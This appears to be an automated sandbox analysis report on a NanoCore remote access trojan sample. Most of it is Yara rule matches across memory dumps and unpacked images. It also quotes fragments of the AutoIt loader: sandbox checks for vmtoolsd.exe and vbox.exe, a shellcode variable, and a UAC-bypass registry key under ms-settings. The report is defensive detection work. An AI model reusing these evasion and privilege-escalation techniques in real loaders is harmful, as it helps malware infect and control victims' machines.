        Source: Yara matchFile source: 00000000.00000002.618062231.0000000003997000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000002.618678183.0000000004910000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: wIQLBHYbqz.exe PID: 4904, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 4936, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: RMActivate_isv.exe.bat PID: 6788, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 7040, type: MEMORYSTR

        System Summary:

        barindex
        Malicious sample detected (through community Yara rule)Show sources
        Source: 22.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 22.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 13.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 13.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 0.3.wIQLBHYbqz.exe.39cbe78.1.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 0.3.wIQLBHYbqz.exe.39cbe78.1.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 0.2.wIQLBHYbqz.exe.39cb008.4.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 0.2.wIQLBHYbqz.exe.39cb008.4.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 13.2.RegAsm.exe.56f0000.5.raw.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 13.2.RegAsm.exe.5b70000.6.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 14.3.RMActivate_isv.exe.bat.3668768.2.raw.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 14.3.RMActivate_isv.exe.bat.3668768.2.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 13.2.RegAsm.exe.5b74629.7.raw.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 22.2.RegAsm.exe.40d2a4d.3.raw.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 22.2.RegAsm.exe.40ce424.4.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 13.2.RegAsm.exe.42495ee.3.raw.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 13.2.RegAsm.exe.42495ee.3.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 0.2.wIQLBHYbqz.exe.3918578.3.raw.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 14.3.RMActivate_isv.exe.bat.3668768.3.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 14.3.RMActivate_isv.exe.bat.3668768.3.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 14.3.RMActivate_isv.exe.bat.3668768.0.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 0.2.wIQLBHYbqz.exe.3918578.3.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 14.3.RMActivate_isv.exe.bat.3668768.0.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 13.2.RegAsm.exe.5b70000.6.raw.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 22.2.RegAsm.exe.40ce424.4.raw.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 0.2.wIQLBHYbqz.exe.3918578.3.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 0.2.wIQLBHYbqz.exe.3918578.3.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 0.3.wIQLBHYbqz.exe.39cb008.3.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 0.3.wIQLBHYbqz.exe.39cb008.3.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 14.3.RMActivate_isv.exe.bat.3668768.0.raw.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 14.3.RMActivate_isv.exe.bat.3668768.0.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 0.2.wIQLBHYbqz.exe.39cb008.4.raw.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 0.2.wIQLBHYbqz.exe.39cb008.4.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 0.3.wIQLBHYbqz.exe.39cbe78.1.raw.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 0.3.wIQLBHYbqz.exe.39cbe78.1.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 0.3.wIQLBHYbqz.exe.39cbe78.0.raw.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 0.3.wIQLBHYbqz.exe.39cbe78.0.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 14.2.RMActivate_isv.exe.bat.16e0000.1.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 14.2.RMActivate_isv.exe.bat.16e0000.1.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 0.2.wIQLBHYbqz.exe.38c4300.2.raw.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 0.2.wIQLBHYbqz.exe.38c4300.2.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 0.3.wIQLBHYbqz.exe.39cbe78.2.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 0.3.wIQLBHYbqz.exe.39cbe78.2.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 13.2.RegAsm.exe.424e424.2.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 0.2.wIQLBHYbqz.exe.38c4300.2.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 0.2.wIQLBHYbqz.exe.38c4300.2.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 14.3.RMActivate_isv.exe.bat.3668768.2.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 14.3.RMActivate_isv.exe.bat.3668768.2.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 0.3.wIQLBHYbqz.exe.39cb008.3.raw.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 0.3.wIQLBHYbqz.exe.39cb008.3.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 0.3.wIQLBHYbqz.exe.39cbe78.0.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 0.3.wIQLBHYbqz.exe.39cbe78.0.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 14.3.RMActivate_isv.exe.bat.35a0a20.4.raw.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 14.3.RMActivate_isv.exe.bat.35a0a20.4.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 14.3.RMActivate_isv.exe.bat.3668768.3.raw.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 14.3.RMActivate_isv.exe.bat.3668768.3.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 14.3.RMActivate_isv.exe.bat.3668768.1.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 13.2.RegAsm.exe.424e424.2.raw.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 13.2.RegAsm.exe.32116dc.1.raw.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 13.2.RegAsm.exe.4252a4d.4.raw.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 14.3.RMActivate_isv.exe.bat.3668768.1.raw.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 14.3.RMActivate_isv.exe.bat.3668768.1.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 0.2.wIQLBHYbqz.exe.14a0000.1.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 0.2.wIQLBHYbqz.exe.14a0000.1.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 14.3.RMActivate_isv.exe.bat.3668768.1.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 22.2.RegAsm.exe.30a3c68.1.raw.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 22.2.RegAsm.exe.40c95ee.2.raw.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 22.2.RegAsm.exe.40c95ee.2.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 0.3.wIQLBHYbqz.exe.39cbe78.2.raw.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 0.3.wIQLBHYbqz.exe.39cbe78.2.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 14.3.RMActivate_isv.exe.bat.35d3428.5.raw.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 14.3.RMActivate_isv.exe.bat.35d3428.5.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 14.3.RMActivate_isv.exe.bat.35d3428.5.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 14.3.RMActivate_isv.exe.bat.35d3428.5.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 14.3.RMActivate_isv.exe.bat.356e018.6.raw.unpack, type: UNPACKEDPEMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 14.3.RMActivate_isv.exe.bat.356e018.6.raw.unpack, type: UNPACKEDPEMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 0000000D.00000002.617258087.0000000005B70000.00000004.00020000.sdmp, type: MEMORYMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 0000000E.00000003.581083346.0000000003668000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 0000000E.00000003.581083346.0000000003668000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 00000000.00000003.453308954.000000000399F000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 00000000.00000003.453308954.000000000399F000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 00000016.00000002.611459498.0000000003081000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 0000000E.00000003.580718643.0000000003611000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 0000000E.00000003.580718643.0000000003611000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 00000000.00000003.452029104.0000000003975000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 00000000.00000003.452029104.0000000003975000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 0000000E.00000002.614749797.00000000016E2000.00000040.00020000.sdmp, type: MEMORYMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 0000000E.00000002.614749797.00000000016E2000.00000040.00020000.sdmp, type: MEMORYMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 00000000.00000002.614883445.00000000014A2000.00000040.00020000.sdmp, type: MEMORYMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 00000000.00000002.614883445.00000000014A2000.00000040.00020000.sdmp, type: MEMORYMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 0000000D.00000002.609808438.0000000000402000.00000040.00020000.sdmp, type: MEMORYMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 0000000D.00000002.609808438.0000000000402000.00000040.00020000.sdmp, type: MEMORYMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 00000016.00000002.609719074.0000000000402000.00000040.00020000.sdmp, type: MEMORYMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 00000016.00000002.609719074.0000000000402000.00000040.00020000.sdmp, type: MEMORYMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 0000000E.00000003.580844038.0000000003B80000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 0000000E.00000003.580844038.0000000003B80000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 00000000.00000002.617706572.0000000003910000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 00000000.00000002.617706572.0000000003910000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 0000000E.00000003.592051979.0000000003562000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 0000000E.00000003.592051979.0000000003562000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 0000000E.00000003.580617027.00000000035B9000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 0000000E.00000003.580617027.00000000035B9000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 00000000.00000003.450606191.0000000004911000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 00000000.00000003.450606191.0000000004911000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 0000000D.00000002.615169994.0000000004247000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 00000000.00000002.617309688.0000000003893000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 00000000.00000002.617309688.0000000003893000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 0000000E.00000003.580586671.000000000369C000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 0000000E.00000003.580586671.000000000369C000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 00000016.00000002.611621495.0000000004081000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 0000000E.00000003.580975519.000000000363C000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 0000000E.00000003.580975519.000000000363C000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 00000000.00000003.450818264.000000000391C000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 00000000.00000003.450818264.000000000391C000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 0000000D.00000002.616663037.00000000056F0000.00000004.00020000.sdmp, type: MEMORYMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 00000000.00000003.466877574.00000000039B2000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 00000000.00000003.466877574.00000000039B2000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 00000000.00000002.618062231.0000000003997000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 00000000.00000002.618062231.0000000003997000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: 00000000.00000002.618678183.0000000004910000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: 00000000.00000002.618678183.0000000004910000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: Process Memory Space: wIQLBHYbqz.exe PID: 4904, type: MEMORYSTRMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: Process Memory Space: wIQLBHYbqz.exe PID: 4904, type: MEMORYSTRMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: Process Memory Space: RegAsm.exe PID: 4936, type: MEMORYSTRMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: Process Memory Space: RegAsm.exe PID: 4936, type: MEMORYSTRMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: Process Memory Space: RMActivate_isv.exe.bat PID: 6788, type: MEMORYSTRMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: Process Memory Space: RMActivate_isv.exe.bat PID: 6788, type: MEMORYSTRMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: Process Memory Space: RegAsm.exe PID: 7040, type: MEMORYSTRMatched rule: Detetcs the Nanocore RAT Author: Florian Roth
        Source: Process Memory Space: RegAsm.exe PID: 7040, type: MEMORYSTRMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Binary is likely a compiled AutoIt script fileShow sources
        Source: wIQLBHYbqz.exe, 00000000.00000002.610341432.00000000004B5000.00000002.00020000.sdmpString found in binary or memory: This is a third-party compiled AutoIt script.
        Source: wIQLBHYbqz.exe, 00000000.00000002.610341432.00000000004B5000.00000002.00020000.sdmpString found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer
        Source: RMActivate_isv.exe.bat, 0000000E.00000000.473380616.00000000004B5000.00000002.00020000.sdmpString found in binary or memory: This is a third-party compiled AutoIt script.
        Source: RMActivate_isv.exe.bat, 0000000E.00000000.473380616.00000000004B5000.00000002.00020000.sdmpString found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer
        Source: wIQLBHYbqz.exeString found in binary or memory: This is a third-party compiled AutoIt script.
        Source: wIQLBHYbqz.exeString found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer
        AutoIt script contains suspicious stringsShow sources
        Source: wIQLBHYbqz.exeAutoIt Script: ["vmtoolsd.exe" , "vbox.exe" ] FOR $I = BTBXJY
        Source: wIQLBHYbqz.exeAutoIt Script: ) LOCAL $ARRAY = ["vmtoolsd.exe" , "vbox.exe" ] FO
        Source: wIQLBHYbqz.exeAutoIt Script: 5,62" ) ) ) LOCAL $LPSHELLCODE = $E ($B (BTBXJYMRF
        Source: wIQLBHYbqz.exeAutoIt Script: ) $GOWQQZFKJDEL ("HKCU\Software\Classes\ms-settings\shell\open\command" , BTBXJYMRFGAETPA
        Source: RMActivate_isv.exe.bat.0.drAutoIt Script: ["vmtoolsd.exe" , "vbox.exe" ] FOR $I = BTBXJY
        Source: RMActivate_isv.exe.bat.0.drAutoIt Script: ) LOCAL $ARRAY = ["vmtoolsd.exe" , "vbox.exe" ] FO
        Source: RMActivate_isv.exe.bat.0.drAutoIt Script: 5,62" ) ) ) LOCAL $LPSHELLCODE = $E ($B (BTBXJYMRF
        Source: RMActivate_isv.exe.bat.0.drAutoIt Script: ) $GOWQQZFKJDEL ("HKCU\Software\Classes\ms-settings\shell\open\command" , BTBXJYMRFGAETPA
        Source: wIQLBHYbqz.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
        Source: 22.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 22.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 22.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 13.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 13.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 13.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 0.3.wIQLBHYbqz.exe.39cbe78.1.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 0.3.wIQLBHYbqz.exe.39cbe78.1.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 0.3.wIQLBHYbqz.exe.39cbe78.1.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 0.2.wIQLBHYbqz.exe.39cb008.4.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 0.2.wIQLBHYbqz.exe.39cb008.4.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 0.2.wIQLBHYbqz.exe.39cb008.4.unpack, type: UNPACKEDPEMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
        Source: 13.2.RegAsm.exe.56f0000.5.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
        Source: 13.2.RegAsm.exe.56f0000.5.raw.unpack, type: UNPACKEDPEMatched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
